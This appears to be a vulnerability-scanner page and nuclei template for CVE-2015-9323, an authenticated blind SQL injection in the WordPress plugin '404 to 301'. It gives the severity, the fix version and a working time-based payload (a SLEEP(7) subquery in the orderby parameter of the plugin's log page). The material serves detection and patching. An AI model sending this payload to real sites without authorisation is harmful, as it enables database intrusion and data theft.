404 to 301 <= 2.0.2 - Authenticated Blind SQL Injection

criticalseverity

9.8CVSS score

45.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The 404 to 301 – Redirect, Log and Notify 404 Errors WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or potential compromise of the WordPress site.

Fix

Fixed in version 2.0.3

How to confirm it

Send: POST /wp-login.php ; @timeout: 15s
Positive when: duration>=7 and status_code == 200 and contains(content_type, "text/html") and contains(body, "404-to-301")

Run it with nuclei: nuclei -id CVE-2015-9323 -u <target>

The full check

id: CVE-2015-9323

info:
  name: 404 to 301 <= 2.0.2 - Authenticated Blind SQL Injection
  author: Harsh
  severity: critical
  description: |
    The 404 to 301 – Redirect, Log and Notify 404 Errors WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or potential compromise of the WordPress site.
  remediation: Fixed in version 2.0.3
  reference:
    - https://wpscan.com/vulnerability/61586816-dd2b-461d-975f-1989502affd9
    - http://cinu.pl/research/wp-plugins/mail_e28f19a8f03f0517f94cb9fea15d8525.html
    - https://wordpress.org/plugins/404-to-301/#developers
    - https://github.com/Enes4xd/Enes4xd
    - https://github.com/Hacker5preme/Exploits
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2015-9323
    cwe-id: CWE-89
    epss-score: 0.45205
    epss-percentile: 0.98794
    cpe: cpe:2.3:a:duckdev:404_to_301:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: duckdev
    product: 404_to_301
    framework: wordpress
  tags: time-based-sqli,cve2015,cve,404-to-301,sqli,wpscan,wp-plugin,wp,wordpress,authenticated,duckdev,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 15s
        GET /wp-admin/admin.php?page=i4t3-logs&orderby=(SELECT+*+FROM+(SELECT+SLEEP(7))XXX)--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "404-to-301")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from